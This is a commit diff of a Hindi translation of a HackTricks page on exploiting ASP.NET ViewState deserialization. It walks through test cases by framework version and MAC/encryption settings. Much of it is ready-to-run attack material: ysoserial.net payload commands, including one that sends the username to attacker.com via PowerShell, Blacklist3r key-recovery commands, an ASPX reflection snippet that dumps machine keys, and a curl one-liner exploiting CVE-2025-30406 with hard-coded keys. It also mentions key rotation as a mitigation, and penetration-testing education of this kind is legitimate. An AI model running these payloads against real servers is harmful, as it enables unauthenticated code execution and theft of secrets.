mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
b38eb33f79
commit
c4809e1786
@ -2,8 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## What is ViewState
|
||||
|
||||
**ViewState** ASP.NET में वेब पृष्ठों के बीच पृष्ठ और नियंत्रण डेटा बनाए रखने के लिए डिफ़ॉल्ट तंत्र के रूप में कार्य करता है। एक पृष्ठ के HTML के रेंडरिंग के दौरान, पृष्ठ की वर्तमान स्थिति और पोस्टबैक के दौरान संरक्षित किए जाने वाले मानों को base64-encoded स्ट्रिंग्स में सीरियलाइज़ किया जाता है। ये स्ट्रिंग्स फिर छिपे हुए ViewState फ़ील्ड में रखी जाती हैं।
|
||||
@ -11,24 +9,24 @@
|
||||
ViewState जानकारी को निम्नलिखित गुणों या उनके संयोजनों द्वारा वर्णित किया जा सकता है:
|
||||
|
||||
- **Base64**:
|
||||
- यह प्रारूप तब उपयोग किया जाता है जब `EnableViewStateMac` और `ViewStateEncryptionMode` विशेषताएँ false पर सेट होती हैं।
|
||||
- यह प्रारूप तब उपयोग किया जाता है जब `EnableViewStateMac` और `ViewStateEncryptionMode` गुण दोनों को false पर सेट किया गया हो।
|
||||
- **Base64 + MAC (Message Authentication Code) Enabled**:
|
||||
- MAC को सक्रिय करने के लिए `EnableViewStateMac` विशेषता को true पर सेट किया जाता है। यह ViewState डेटा के लिए अखंडता सत्यापन प्रदान करता है।
|
||||
- MAC को सक्रिय करने के लिए `EnableViewStateMac` गुण को true पर सेट किया जाता है। यह ViewState डेटा के लिए अखंडता सत्यापन प्रदान करता है।
|
||||
- **Base64 + Encrypted**:
|
||||
- एन्क्रिप्शन तब लागू होता है जब `ViewStateEncryptionMode` विशेषता को true पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है।
|
||||
- एन्क्रिप्शन तब लागू किया जाता है जब `ViewStateEncryptionMode` गुण को true पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है।
|
||||
|
||||
## Test Cases
|
||||
|
||||
चित्र एक तालिका है जो .NET फ्रेमवर्क संस्करण के आधार पर ASP.NET में ViewState के लिए विभिन्न कॉन्फ़िगरेशन का विवरण देती है। यहाँ सामग्री का सारांश है:
|
||||
यह चित्र ASP.NET में ViewState के विभिन्न कॉन्फ़िगरेशन का एक तालिका है जो .NET फ्रेमवर्क संस्करण पर आधारित है। यहाँ सामग्री का सारांश है:
|
||||
|
||||
1. **किसी भी संस्करण के लिए .NET**, जब MAC और एन्क्रिप्शन दोनों अक्षम होते हैं, तो MachineKey की आवश्यकता नहीं होती है, और इसलिए इसे पहचानने के लिए कोई लागू विधि नहीं है।
|
||||
2. **4.5 से नीचे के संस्करणों के लिए**, यदि MAC सक्षम है लेकिन एन्क्रिप्शन नहीं है, तो MachineKey की आवश्यकता होती है। MachineKey की पहचान करने की विधि को "Blacklist3r" कहा जाता है।
|
||||
3. **4.5 से नीचे के संस्करणों के लिए**, चाहे MAC सक्षम हो या अक्षम, यदि एन्क्रिप्शन सक्षम है, तो MachineKey की आवश्यकता होती है। MachineKey की पहचान करना "Blacklist3r - Future Development" का कार्य है।
|
||||
4. **4.5 और उससे ऊपर के संस्करणों के लिए**, MAC और एन्क्रिप्शन के सभी संयोजनों (चाहे दोनों सत्य हों, या एक सत्य हो और दूसरा असत्य) के लिए MachineKey की आवश्यकता होती है। MachineKey की पहचान "Blacklist3r" का उपयोग करके की जा सकती है।
|
||||
4. **4.5 और उससे ऊपर के संस्करणों के लिए**, MAC और एन्क्रिप्शन के सभी संयोजन (चाहे दोनों सत्य हों, या एक सत्य हो और दूसरा असत्य) के लिए MachineKey की आवश्यकता होती है। MachineKey की पहचान "Blacklist3r" का उपयोग करके की जा सकती है।
|
||||
|
||||
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
|
||||
यह भी संभव है कि ViewStateMAC को पूरी तरह से अक्षम किया जाए, `AspNetEnforceViewStateMac` रजिस्ट्री कुंजी को शून्य पर सेट करके:
|
||||
यह संभव है कि ViewStateMAC को पूरी तरह से अक्षम किया जाए, `AspNetEnforceViewStateMac` रजिस्ट्री कुंजी को शून्य पर सेट करके:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
@ -42,7 +40,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
|
||||
डेवलपर्स **ViewState** को HTTP अनुरोध का हिस्सा बनने से **हटा** सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)।\
|
||||
कोई यह मान सकता है कि यदि **ViewState** **उपस्थित नहीं है**, तो उनका कार्यान्वयन **सुरक्षित** है किसी भी संभावित कमजोरियों से जो ViewState deserialization के साथ उत्पन्न हो सकती हैं।\
|
||||
हालांकि, ऐसा नहीं है। यदि हम अनुरोध शरीर में **ViewState parameter** जोड़ते हैं और ysoserial का उपयोग करके बनाई गई अपनी सीरियलाइज्ड पेलोड भेजते हैं, तो हम अभी भी **कोड निष्पादन** प्राप्त करने में सक्षम होंगे जैसा कि **Case 1** में दिखाया गया है।
|
||||
हालांकि, ऐसा नहीं है। यदि हम अनुरोध शरीर में **ViewState parameter** जोड़ते हैं और ysoserial का उपयोग करके बनाई गई अपनी सीरियलाइज्ड पेलोड भेजते हैं, तो हम अभी भी **कोड निष्पादन** प्राप्त करने में सक्षम होंगे जैसा कि **केस 1** में दिखाया गया है।
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -50,7 +48,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
हम इसे **overall** एप्लिकेशन के लिए भी कर सकते हैं, इसे **web.config** फ़ाइल में नीचे दिखाए अनुसार सेट करके:
|
||||
हम इसे **web.config** फ़ाइल में नीचे दिखाए अनुसार सेट करके **कुल** एप्लिकेशन के लिए भी कर सकते हैं:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
@ -61,7 +59,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
</system.web>
|
||||
</configuration>
|
||||
```
|
||||
चूंकि पैरामीटर इस बार MAC से सुरक्षित है, इसलिए हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग किया गया कुंजी चाहिए।
|
||||
इस बार चूंकि पैरामीटर MAC से सुरक्षित है, इसलिए हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग किया गया कुंजी चाहिए।
|
||||
|
||||
आप उपयोग की गई कुंजी खोजने के लिए [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का प्रयास कर सकते हैं।
|
||||
```
|
||||
@ -102,7 +100,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
जब `_VIEWSTATEGENERATOR` पैरामीटर **सर्वर द्वारा नहीं भेजा जाता** है, तो आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं है** बल्कि इन पैरामीटरों की आवश्यकता है:
|
||||
जब `_VIEWSTATEGENERATOR` पैरामीटर **सर्वर द्वारा नहीं भेजा जाता** है, तो आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं है** बल्कि इन पैरामीटर को **प्रदान करना होगा**:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
@ -112,15 +110,15 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
**इस मामले में** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **मॉड्यूल विकासाधीन है...**
|
||||
|
||||
**.NET 4.5 से पहले**, ASP.NET **एक** **अनएन्क्रिप्टेड** \_`__VIEWSTATE`\_ पैरामीटर को उपयोगकर्ताओं से **स्वीकृत** कर सकता है **यहां तक कि** यदि **`ViewStateEncryptionMode`** को _**हमेशा**_ पर सेट किया गया है। ASP.NET **केवल** **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति** की **जांच** करता है। **यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो इसे अभी भी संसाधित किया जाएगा।**
|
||||
**.NET 4.5 से पहले**, ASP.NET **एक** **अनएन्क्रिप्टेड** \_`__VIEWSTATE`\_ पैरामीटर को उपयोगकर्ताओं से **स्वीकार** कर सकता है **यहां तक कि** यदि **`ViewStateEncryptionMode`** को _**हमेशा**_ पर सेट किया गया है। ASP.NET **केवल** **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति** की **जांच** करता है। **यदि कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो इसे अभी भी संसाधित किया जाएगा।**
|
||||
|
||||
इसलिए यदि हमलावर किसी अन्य कमजोरियों जैसे फ़ाइल ट्रैवर्सल के माध्यम से मशीन की प्राप्त करने का एक तरीका खोज लेते हैं, तो [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग **केस 2** में किया गया, ViewState डेसिरियलाइजेशन कमजोरियों का उपयोग करके RCE करने के लिए किया जा सकता है।
|
||||
इसलिए यदि हमलावर किसी अन्य कमजोरियों जैसे फ़ाइल ट्रैवर्सल के माध्यम से मशीन की प्राप्त करने का तरीका खोज लेते हैं, तो [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग **केस 2** में किया गया, ViewState डेसिरियलाइजेशन कमजोरियों का उपयोग करके RCE करने के लिए किया जा सकता है।
|
||||
|
||||
- ViewState डेसिरियलाइजेशन कमजोरियों का लाभ उठाने के लिए अनुरोध से `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC सत्यापन त्रुटि लौटाएगा और हमला विफल हो जाएगा।
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false सिवाय इसके कि दोनों गुण false हों
|
||||
### Test Case: 4 – .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false सिवाय दोनों गुणों के false होने के
|
||||
|
||||
हम नीचे दिए गए पैरामीटर को web.config फ़ाइल के अंदर निर्दिष्ट करके ASP.NET ढांचे के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।
|
||||
हम नीचे दिए गए पैरामीटर को web.config फ़ाइल के अंदर निर्दिष्ट करके ASP.NET फ्रेमवर्क के उपयोग को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
@ -147,7 +145,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
|
||||
```
|
||||

|
||||
|
||||
एक बार जब एक मान्य मशीन कुंजी पहचान ली जाती है, **अगला कदम एक अनुक्रमित पेलोड उत्पन्न करना है** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
एक मान्य मशीन कुंजी पहचानने के बाद, **अगला कदम एक अनुक्रमित पेलोड उत्पन्न करना है** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
@ -155,25 +153,24 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
ViewState deserialization भेद्यता का सफल शोषण एक हमलावर-नियंत्रित सर्वर पर एक आउट-ऑफ-बैंड अनुरोध की ओर ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल है। इस प्रकार के शोषण को एक प्रमाणित अवधारणा (PoC) में प्रदर्शित किया गया है, जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक वाले संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया कैसे काम करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें, इस पर अधिक जानकारी के लिए, आप प्रदान किए गए [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) की समीक्षा कर सकते हैं।
|
||||
ViewState deserialization भेद्यता का सफल शोषण एक हमलावर-नियंत्रित सर्वर पर एक आउट-ऑफ-बैंड अनुरोध की ओर ले जाएगा, जिसमें उपयोगकर्ता नाम शामिल होगा। इस प्रकार के शोषण को एक प्रमाणित अवधारणा (PoC) में प्रदर्शित किया गया है, जिसे "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" शीर्षक वाले संसाधन के माध्यम से पाया जा सकता है। शोषण प्रक्रिया कैसे काम करती है और MachineKey की पहचान के लिए Blacklist3r जैसे उपकरणों का उपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए, आप प्रदान किए गए [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) की समीक्षा कर सकते हैं।
|
||||
|
||||
### टेस्ट केस 6 – ViewStateUserKeys का उपयोग किया जा रहा है
|
||||
|
||||
**ViewStateUserKey** प्रॉपर्टी का **CSRF हमले** के खिलाफ **रक्षा** के लिए उपयोग किया जा सकता है। यदि ऐसा एक कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा किए गए तरीकों से **ViewState** पेलोड उत्पन्न करने की कोशिश करते हैं, तो **पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा**।\
|
||||
**ViewStateUserKey** प्रॉपर्टी का उपयोग **CSRF हमले** के खिलाफ **रक्षा** करने के लिए किया जा सकता है। यदि ऐसा एक कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा किए गए तरीकों से **ViewState** पेलोड उत्पन्न करने की कोशिश करते हैं, तो **पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा**।\
|
||||
आपको पेलोड को सही तरीके से बनाने के लिए एक और पैरामीटर का उपयोग करने की आवश्यकता है:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### सफल शोषण का परिणाम <a href="#poc" id="poc"></a>
|
||||
|
||||
सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड **सफलता** से काम करता है, तो सर्वर “**500 आंतरिक सर्वर त्रुटि**” के साथ प्रतिक्रिया करता है जिसमें प्रतिक्रिया सामग्री “**यह पृष्ठ के लिए राज्य जानकारी अमान्य है और यह भ्रष्ट हो सकती है**” होती है और हमें OOB अनुरोध मिलता है।
|
||||
सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड **सफलता** से काम करता है, तो सर्वर “**500 आंतरिक सर्वर त्रुटि**” के साथ प्रतिक्रिया करता है जिसमें प्रतिक्रिया सामग्री “**इस पृष्ठ के लिए राज्य जानकारी अमान्य है और यह भ्रष्ट हो सकती है**” होती है और हमें OOB अनुरोध मिलता है।
|
||||
|
||||
[यहां आगे की जानकारी के लिए जांचें](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### रिफ्लेक्शन के माध्यम से ASP.NET मशीन कुंजियों को डंप करना (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
हमलावर जो लक्ष्य वेब रूट के अंदर **मनमाना ASPX कोड अपलोड या निष्पादित** करने में सक्षम हैं, वे सीधे `__VIEWSTATE` की सुरक्षा करने वाली गुप्त कुंजियों को प्राप्त कर सकते हैं बजाय इसके कि उन्हें ब्रूटफोर्स किया जाए।
|
||||
एक न्यूनतम पेलोड जो कुंजियों को लीक करता है, रिफ्लेक्शन के माध्यम से आंतरिक .NET कक्षाओं का उपयोग करता है:
|
||||
हमलावर जो लक्ष्य वेब रूट के अंदर **मनमाना ASPX कोड अपलोड या निष्पादित** करने में सक्षम हैं, वे सीधे `__VIEWSTATE` की सुरक्षा करने वाली गुप्त कुंजियों को प्राप्त कर सकते हैं बजाय इसके कि उन्हें ब्रूटफोर्स किया जाए। एक न्यूनतम पेलोड जो कुंजियों को लीक करता है, रिफ्लेक्शन के माध्यम से आंतरिक .NET कक्षाओं का उपयोग करता है:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
@ -204,21 +201,19 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
## 2024-2025 वास्तविक दुनिया के शोषण परिदृश्य और हार्ड-कोडेड मशीन कुंजी
|
||||
|
||||
### Microsoft “सार्वजनिक रूप से प्रकट मशीन कुंजी” लहर (दिसंबर 2024 – फरवरी 2025)
|
||||
Microsoft Threat Intelligence ने उन ASP.NET साइटों के बड़े पैमाने पर शोषण की रिपोर्ट की जहां *machineKey* पहले सार्वजनिक स्रोतों (GitHub gists, ब्लॉग पोस्ट, पेस्ट साइटों) पर लीक हो गई थी। प्रतिकूलों ने इन कुंजियों की गणना की और नए `ysoserial.net` 1.41 `--minify` और `--islegacy` ध्वजों के साथ मान्य `__VIEWSTATE` गैजेट्स उत्पन्न किए ताकि WAF लंबाई सीमाओं से बचा जा सके:
|
||||
Microsoft Threat Intelligence ने उन ASP.NET साइटों के बड़े पैमाने पर शोषण की रिपोर्ट की जहां *machineKey* पहले सार्वजनिक स्रोतों (GitHub gists, ब्लॉग पोस्ट, पेस्ट साइटों) पर लीक हो चुका था। प्रतिकूलों ने इन कुंजियों की गणना की और नए `ysoserial.net` 1.41 `--minify` और `--islegacy` ध्वजों के साथ मान्य `__VIEWSTATE` गैजेट्स उत्पन्न किए ताकि WAF लंबाई सीमाओं से बचा जा सके:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
स्थिर कुंजी को घुमाना या Web .config में *AutoGenerate* कुंजी पर स्विच करना (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) इस प्रकार के हमलों को कम करता है। {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
स्थिर कुंजी को घुमाना या Web .config में *AutoGenerate* कुंजी पर स्विच करना (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) इस प्रकार के हमलों को कम करता है।
|
||||
|
||||
### CVE-2025-30406 – Gladinet CentreStack / Triofox हार्ड-कोडेड कुंजी
|
||||
Kudelski Security ने खोजा कि कई CentreStack / Triofox रिलीज़ में समान `machineKey` मान शामिल थे, जिससे ViewState धोखाधड़ी के माध्यम से बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन की अनुमति मिली (CVE-2025-30406)।
|
||||
Kudelski Security ने खुलासा किया कि कई CentreStack / Triofox रिलीज़ में समान `machineKey` मान शामिल थे, जिससे ViewState धोखाधड़ी के माध्यम से बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन की अनुमति मिली (CVE-2025-30406)।
|
||||
|
||||
वन-लाइनर एक्सप्लॉइट:
|
||||
One-liner exploit:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
|
||||
@ -227,7 +222,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--decryptionalg=AES --generator=24D41AAB --minify \
|
||||
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
|
||||
```
|
||||
Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – तुरंत अपग्रेड करें या कुंजी बदलें। {{#ref}}
|
||||
Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – तुरंत कुंजी को अपग्रेड या बदलें। {{#ref}}
|
||||
|
||||
|
||||
{{#endref}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user